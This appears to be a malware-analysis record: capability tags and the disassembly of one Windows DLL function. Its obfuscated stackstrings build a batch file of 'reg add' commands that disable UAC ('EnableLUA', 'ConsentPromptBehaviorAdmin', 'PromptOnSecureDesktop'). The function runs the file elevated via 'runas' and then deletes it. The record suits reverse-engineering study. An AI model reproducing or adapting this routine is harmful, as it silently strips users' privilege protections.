Function at 0x180002344
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create process on windows
Delete file
Get common file path
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5b8]
sub rsp, 0x690
xor ebx, ebx
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x380]
call fcn.18000b8a0
lea rcx, [rbp + 0xf0]
call fcn.180001ec8
nop
cmp qword [rax + 0x18], 0x10
jb 0x180002397
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rbp + 0x150]
call fcn.1800012dc
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0xe0], xmm1
lea r8, [rbp + 0xd0]
lea rdx, [0x180021aec]
lea rcx, [rbp + 0x300]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x150]
call fcn.180004b10
nop
mov rdx, qword [rbp + 0x108]
cmp rdx, 0x10
jb 0x180002424
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000241f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002d23
call fcn.18000a544
mov dword [rsp + 0x58], 0x62002e
mov dword [rsp + 0x5c], 0x740061
mov word [rsp + 0x60], bx
mov r9d, 1
lea r8d, [r9 + 0x19]
lea rdx, [rbp + 0x380]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x300]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [0x180021a50]
lea rcx, [rbp + 0x380]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x380]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [rbp - 0x50], 0x650072
mov dword [rbp - 0x4c], 0x200067
mov dword [rbp - 0x48], 0x640061
mov dword [rbp - 0x44], 0x200064
mov dword [rbp - 0x40], 0x4b0048
mov dword [rbp - 0x3c], 0x590045
mov dword [rbp - 0x38], 0x4c005f
mov dword [rbp - 0x34], 0x43004f
mov dword [rbp - 0x30], 0x4c0041
mov dword [rbp - 0x2c], 0x4d005f
mov dword [rbp - 0x28], 0x430041
mov dword [rbp - 0x24], 0x490048
mov dword [rbp - 0x20], 0x45004e
mov dword [rbp - 0x1c], 0x53005c
mov dword [rbp - 0x18], 0x46004f
mov dword [rbp - 0x14], 0x570054
mov dword [rbp - 0x10], 0x520041
mov dword [rbp - 0xc], 0x5c0045
mov dword [rbp - 8], 0x69004d
mov dword [rbp - 4], 0x720063
mov dword [rbp], 0x73006f
mov dword [rbp + 4], 0x66006f
mov dword [rbp + 8], 0x5c0074
mov dword [rbp + 0xc], 0x690057
mov dword [rbp + 0x10], 0x64006e
mov dword [rbp + 0x14], 0x77006f
mov dword [rbp + 0x18], 0x5c0073
mov dword [rbp + 0x1c], 0x750043
mov dword [rbp + 0x20], 0x720072
mov dword [rbp + 0x24], 0x6e0065
mov dword [rbp + 0x28], 0x560074
mov dword [rbp + 0x2c], 0x720065
mov dword [rbp + 0x30], 0x690073
mov dword [rbp + 0x34], 0x6e006f
mov dword [rbp + 0x38], 0x50005c
mov dword [rbp + 0x3c], 0x6c006f
mov dword [rbp + 0x40], 0x630069
mov dword [rbp + 0x44], 0x650069
mov dword [rbp + 0x48], 0x5c0073
mov dword [rbp + 0x4c], 0x790053
mov dword [rbp + 0x50], 0x740073
mov dword [rbp + 0x54], 0x6d0065
xor eax, eax
mov word [rbp + 0x58], ax
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], rax
lea rcx, [0x180021af8]
call fcn.18000ef78
mov r8, rax
lea rdx, [0x180021af8]
lea rcx, [rsp + 0x78]
call fcn.180004fa4
nop
mov dword [rbp + 0x90], 0x6f0043
mov dword [rbp + 0x94], 0x73006e
mov dword [rbp + 0x98], 0x6e0065
mov dword [rbp + 0x9c], 0x500074
mov dword [rbp + 0xa0], 0x6f0072
mov dword [rbp + 0xa4], 0x70006d
mov dword [rbp + 0xa8], 0x420074
mov dword [rbp + 0xac], 0x680065
mov dword [rbp + 0xb0], 0x760061
mov dword [rbp + 0xb4], 0x6f0069
mov dword [rbp + 0xb8], 0x410072
mov dword [rbp + 0xbc], 0x6d0064
mov dword [rbp + 0xc0], 0x6e0069
xor r15d, r15d
mov word [rbp + 0xc4], r15w
mov dword [rbp - 0x68], 0x6e0045
mov dword [rbp - 0x64], 0x620061
mov dword [rbp - 0x60], 0x65006c
mov dword [rbp - 0x5c], 0x55004c
mov dword [rbp - 0x58], 0x41
mov dword [rbp + 0x60], 0x720050
mov dword [rbp + 0x64], 0x6d006f
mov dword [rbp + 0x68], 0x740070
mov dword [rbp + 0x6c], 0x6e004f
mov dword [rbp + 0x70], 0x650053
mov dword [rbp + 0x74], 0x750063
mov dword [rbp + 0x78], 0x650072
mov dword [rbp + 0x7c], 0x650044
mov dword [rbp + 0x80], 0x6b0073
mov dword [rbp + 0x84], 0x6f0074
mov dword [rbp + 0x88], 0x70
mov dword [rsp + 0x40], 0x650072
mov dword [rsp + 0x44], 0x5f0067
mov dword [rsp + 0x48], 0x770064
mov dword [rsp + 0x4c], 0x72006f
mov dword [rsp + 0x50], 0x64
lea rcx, [rbp - 0x50]
call fcn.18000ef78
mov rdx, rax
movabs rbx, 0x7ffffffffffffffe
mov rcx, rbx
mov r8, qword [rbp - 0x78]
sub rcx, r8
cmp rcx, rax
jb 0x180002d29
lea rax, [rsp + 0x78]
cmp qword [rbp - 0x70], 8
cmovae rax, qword [rsp + 0x78]
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea r9, [rbp - 0x50]
lea rcx, [rbp + 0xf0]
call fcn.180005768
nop
lea r8, [rbp + 0x90]
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x1d0]
call fcn.180004d8c
nop
lea rdi, [0x180021b28]
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1b0]
call fcn.180004d8c
nop
lea r8, [rsp + 0x40]
mov rdx, rax
lea rcx, [rbp + 0x190]
call fcn.180004d8c
nop
lea rsi, str.__d_0
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x150]
call fcn.180004d8c
nop
lea r14, str.__F__n_r
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.180004d8c
nop
lea rcx, [rbp + 0x150]
call fcn.180004b10
nop
lea rcx, [rbp + 0x190]
call fcn.180004b10
nop
lea rcx, [rbp + 0x1b0]
call fcn.180004b10
nop
lea rcx, [rbp + 0x1d0]
call fcn.180004b10
nop
lea rcx, [rbp + 0xf0]
call fcn.180004b10
lea rcx, [rbp - 0x50]
call fcn.18000ef78
mov rdx, rax
mov rcx, rbx
mov r8, qword [rbp - 0x78]
sub rcx, r8
cmp rcx, rax
jb 0x180002d2f
lea rax, [rsp + 0x78]
cmp qword [rbp - 0x70], 8
cmovae rax, qword [rsp + 0x78]
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea r9, [rbp - 0x50]
lea rcx, [rbp + 0xd0]
call fcn.180005768
nop
lea r8, [rbp - 0x68]
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x2e0]
call fcn.180004d8c
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2c0]
call fcn.180004d8c
nop
lea r8, [rsp + 0x40]
mov rdx, rax
lea rcx, [rbp + 0x2a0]
call fcn.180004d8c
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x280]
call fcn.180004d8c
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.180004d8c
nop
lea rcx, [rbp + 0x280]
call fcn.180004b10
nop
lea rcx, [rbp + 0x2a0]
call fcn.180004b10
nop
lea rcx, [rbp + 0x2c0]
call fcn.180004b10
nop
lea rcx, [rbp + 0x2e0]
call fcn.180004b10
nop
lea rcx, [rbp + 0xd0]
call fcn.180004b10
lea rcx, [rbp - 0x50]
call fcn.18000ef78
mov rdx, rax
mov rcx, rbx
mov r8, qword [rbp - 0x78]
sub rcx, r8
cmp rcx, rax
jb 0x180002d35
lea rax, [rsp + 0x78]
cmp qword [rbp - 0x70], 8
cmovae rax, qword [rsp + 0x78]
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea r9, [rbp - 0x50]
lea rcx, [rbp + 0xf0]
call fcn.180005768
nop
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x150]
call fcn.180004d8c
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x190]
call fcn.180004d8c
nop
lea r8, [rsp + 0x40]
mov rdx, rax
lea rcx, [rbp + 0x1b0]
call fcn.180004d8c
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x1d0]
call fcn.180004d8c
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x260]
call fcn.180004d8c
nop
lea rcx, [rbp + 0x1d0]
call fcn.180004b10
nop
lea rcx, [rbp + 0x1b0]
call fcn.180004b10
nop
lea rcx, [rbp + 0x190]
call fcn.180004b10
nop
lea rcx, [rbp + 0x150]
call fcn.180004b10
nop
lea rcx, [rbp + 0xf0]
call fcn.180004b10
mov rcx, qword [rbp + 0x140]
sub rbx, rcx
mov rdx, qword [rbp + 0x120]
cmp rbx, rdx
jb 0x180002d3b
lea r9, [rbp + 0x130]
cmp qword [rbp + 0x148], 8
cmovae r9, qword [rbp + 0x130]
lea rax, [rbp + 0x110]
cmp qword [rbp + 0x128], 8
cmovae rax, qword [rbp + 0x110]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0xd0]
call fcn.180005768
nop
lea r8, [rbp + 0x260]
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x170]
call fcn.180004ed8
nop
lea rcx, [rbp + 0xd0]
call fcn.180004b10
lea rdi, [rbp + 0x170]
cmp qword [rbp + 0x188], 8
jb 0x180002ac4
mov rdi, qword [rbp + 0x170]
test rdi, rdi
je 0x180002be3
lea rcx, [rbp + 0x380]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov ebx, 0x80
mov esi, 0xc0000000
test eax, eax
jne 0x180002b14
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, esi
lea rcx, [rbp + 0x380]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x180002b14
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, esi
lea rcx, [rbp + 0x380]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x180002be3
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
or r9d, 0xffffffff
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov esi, eax
test eax, eax
je 0x180002be3
mov ecx, esi
call fcn.18000a680
mov rbx, rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rax
or r9d, 0xffffffff
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [rbp + 0x5c0], r15d
mov rcx, rbx
call fcn.18000f0e0
mov rcx, rbx
call fcn.18000f0e0
mov r8, rax
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x5c0]
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call fcn.18000a544
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x68], 0x750072
mov dword [rsp + 0x6c], 0x61006e
mov dword [rsp + 0x70], 0x73
mov ebx, 0x70
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x1f0]
call fcn.18000b8a0
mov dword [rbp + 0x1f0], ebx
mov dword [rbp + 0x1f4], 0x40
mov qword [rbp + 0x1f8], r15
lea rax, [rsp + 0x68]
mov qword [rbp + 0x200], rax
lea rax, [rbp + 0x380]
mov qword [rbp + 0x208], rax
lea rax, [0x180021a54]
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x218], r15
mov dword [rbp + 0x220], r15d
mov qword [rbp + 0x228], r15
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov ecx, 0x3e8
call qword [0x1800e23d8]
lea rcx, [rbp + 0x380]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
lea rcx, [rbp + 0x170]
call fcn.180004b10
nop
lea rcx, [rbp + 0x260]
call fcn.180004b10
nop
lea rcx, [rbp + 0x110]
call fcn.180004b10
nop
lea rcx, [rbp + 0x130]
call fcn.180004b10
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 8
jb 0x180002cfc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002cf7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002d1d
call fcn.18000a544
lea r11, [rsp + 0x690]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.18000f3f4
int3
call fcn.18000f3f4
nop
call fcn.1800012a4
nop
call fcn.1800012a4
nop
call fcn.1800012a4
nop
call fcn.1800012a4
int3